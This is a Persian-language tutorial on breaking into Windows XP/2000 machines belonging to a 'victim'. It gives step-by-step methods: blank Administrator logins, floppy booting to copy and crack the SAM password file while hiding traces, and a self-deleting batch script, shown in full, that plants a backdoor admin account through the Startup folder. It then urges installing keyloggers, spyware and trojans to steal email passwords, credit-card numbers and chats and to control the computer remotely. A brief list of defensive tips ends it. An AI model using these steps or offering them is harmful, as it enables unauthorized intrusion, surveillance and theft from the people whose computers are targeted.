|  |
| --- |
| **روش نفوذ به ویندوز اکس پی**  براي اين کار چند روش وجود دارد که روش اول هميشه کار ساز نيست و فقط بر روي کامپيوتر هايي جواب ميدهد که از نظر پيکربندي امنيتي بسيار ضعيف هستند . روش اول : در جايي که از شما UserName , Password پرسيده مي شود کليد هاي Alt+Ctrl+Del را دو مرتبه همزمان فشار دهيد . در قسمت UserName کلمه Administrator را وارد کرده و جاي کلمه عبور را خالي بگذاريد و Enter بزنيد تا وارد ويندوز شويد … خوب اين روش ساده بود اما هميشه کارساز نيست اگر براي Administrator آن کلمه عبوري قرار داده شده باشد ؟!! به سراغ روش دوم ميرويم : روش دوم : 1- ابتدا يک فلاپي Bootable مي سازيم . 2- اغلب فايل سيستم ويندوز XP,2000 از نوع NTFS است و در محيط شبيه Dos که با فلاپي راه اندازي ميشود شناخته نمي شود بنا براين ما براي اين کار نياز به برنامه هايي مثل NTFS4DOS داريم.(اين نوع برنامه ها امکان کار کردن با درايو هايي که فايل سيستم آنها Ntfs را در dos به ما مي دهد.) 3- حالا که فلاپي آماده شد بايد با آن سيستم را راه اندازي کرد… اما اگر در Setup سيستم تنظيم شده باشد که با فلاپي راه اندازي نشود …؟!! آنگاه بايد به سراغ Setup رفت و در آن تنظيمات لازم را انجام دهيم اگر Setup با کلمه عبور محافظت شود آنگاه بايد به Bios نفوذ کنيم که در بخش نفوذ به Bios شرح داده شده است . 4- خوب پس از انجام مراحل فوق فلاپي را در فلاپي درايو قرار داده و سيستم را با آن راه اندازي مي کنيم . و بر نامه NTFS4DOS را اجرا مي کنيم تا به اطلاعات درايو هاي NTFS دسترسي داشته باشيم . 5- درايوي که ويندوز در آن نصب است را پيدا مي کنيم و به مسير زير رفته : %Windir%\System32\Config\ Example : c:\windows\system32\config در اين پوشه فايلي به نام \* sam را در فلاپي کپي مي کنيم. ( نکته : در ويندوز 2000 با پاک کردن اين فايل ديگر کار تمام است و ميتوان با Username: Administrator و بدون پسورد وارد شويم اما ميتوان براي اين که رد پايي باقي نماند از فايل Sam يک کپي داشته باشيم تا بعد از انجام کارمان در ويندوز با برگرداندن اين فايل به جاي قبلي آن رد پاي خود را پاک کنيم و نام و پسورد کاربران به حالت قبل برگردد.) از اين مرحله به بعد براي Windows Xp بيشتر توصيه ميشود : 6- بعد از کپي فايل با برنامه هايي نظير L0phtCrack ,John the Ripper آن را کرک مي کنيم تا پسورد را به دست آورد . روش سوم : در اين روش چهار مرحله اول روش دوم را انجام ميدهيم. 1- دستورات زير را در Notepad مي نويسيم و در فايلي با نام و پسوند test.bat ذخيره ميکنيم : @echo off net user administrator 123 /add net localgroup administrator administrators /add net user administrator 123 del test.bat @echo on 2- بعد فايل مورد نظر را در فلاپي کپي کرده و به سراغ کامپيوتر قرباني مي رويم و فايلي که در مرحله قبل ساخته ايم را در مسير زير کپي مي کنيم(به فرض که ويندوز در درايو C نصب باشد و کاربري با نام MOJTABA مدير سيستم باشد): C:\Documents and Settings\MOJTABA\Start Menu\Programs\Startup 3- خوب حالا فقط کافي است که منتظر بمانيد تا کاربر MOJTABA يک بار وارد شود ديگر تمام است و شما بعد از آن مي توانيد با نام کاربري Administrator و کلمه عبور 123 وارد سيستم شويد. توضيح دستورات مربوط به فايلي که ميسازيم : در خط اول اين دستور باعث مخفي شدن بقيه دستورات در حال اجرا از ديد کاربر مي شود. در خط دوم ما يک کاربر بانام Administrator و کلمه عبور 123 مي سازيم .(اين عمل براي اين صورت مي گيرد که ممکن است نام Administrator را تغییر داده باشند). در خط سوم کاربری را که در خط قبل ساخته ایم را به عنوان سرپرست (ادمین) سیستم قرار میدهیم. در خط چهارم احتمال می دهیم که نام Administrator را تغییر داده نشده باشد . پس ما فقط پسورد آن را عوض می کنیم. در خط پنجم برای از بین بردن رد پا فایلی را که ساخته ایم را پاک می کنیم. در خط ششم هم حالتی را که دستور خط اول ایجاد کرده بود به حالت اول بر می گردانیم. نکته : توجه کنید که به جای کاربر Administrator و کلمه عبور 123 هر کاربر یا کلمه عبور دیگری می توانید قرار دهید اما این کاربر کمتر باعث شک می شود . روش چهارم استفاده از برنامه Windows XP / 2000 / NT Key است . نسخه آزمایشی این برنامه را می توانید از اینجا دریافت کنید. نتیجه : حالا که به عنوان مدیر وارد سیستم شدیم چه کارهایی می توانیم انجام دهیم . اول این که می توانید به اطلاعات سیستم دسترسی پیدا کرده و … دوم این که توصیه می شود یک برنامه جاسوسی مثل XpSpy ها ویا Key Logger ها نصب کنید تا تمامی پسورد های ایمیل ها و کارتهای اعتباری و … و وب سایت های که سر می زند و حتی کلماتی که چت می کند و … را بدانید ( در آینده نه چندان دور مقاله ای در مورد برنامه های جاسوسی خواهم نوشت ). سوم این که میتوانید یک تروجان روی کامپیوتر قربانی نصب کنید و بقیه اش رو خودتون میدونین … چهارم این که می توانید کامپیوتر او را طوری پیکر بندی کنید که به شما اجازه ریموت کردن را بدهد و با یک تروجان آی پی اون رو به دست آورید و اون را کنترل کنید . پنجم … توصیه های مهم : 1- از دسترسی افراد نامطمئن به سیستم خود جلوگیری کنید . 2- حداقل کاری که میتونین انجام بدین این است که سیستم شما با CDو یا Floppy بوت نشود و Bios خود را با کلمه رمز محافظت نمایید. 3- همیشه از کلمات عبور پیچیده که مخلوتی از حرف و عدد و علائم ویژه باشد استفاده کنید . مثلا کلمه عبور X@#%Übps خیلی بهتر از کلمه عبور spssstudioworks است . این کار حداقل کرک کردن پسورد شما را طولانی میکند. 4- LM Hash را غیر فعال کنید . برای این منظور به کنترل پانل رفته و Local Security Policy را از Administrative Tools را اجرا کرده و به پوشه Security Option از پوشه Local Policies رفته و در آنجا Network Security : Do not Store LAN Manager hash value on next password change را Enable کنید سپس پسورد ادمین را عوض کنید. 5- نام کاربری Administrator وGuest را حتما تغییر دهید و برای آنها کلمه عبور قرار دهید . 6- اگر به کاربر Guest نیازی ندارید آن را غیر فعال کنید . 7- هر چند وقت یکبار پسورد خود را عوض کنید. 8- کاربران خود را هر چند وقت یکبار چک کنید تا از موارد مشکوک مطلع شوید |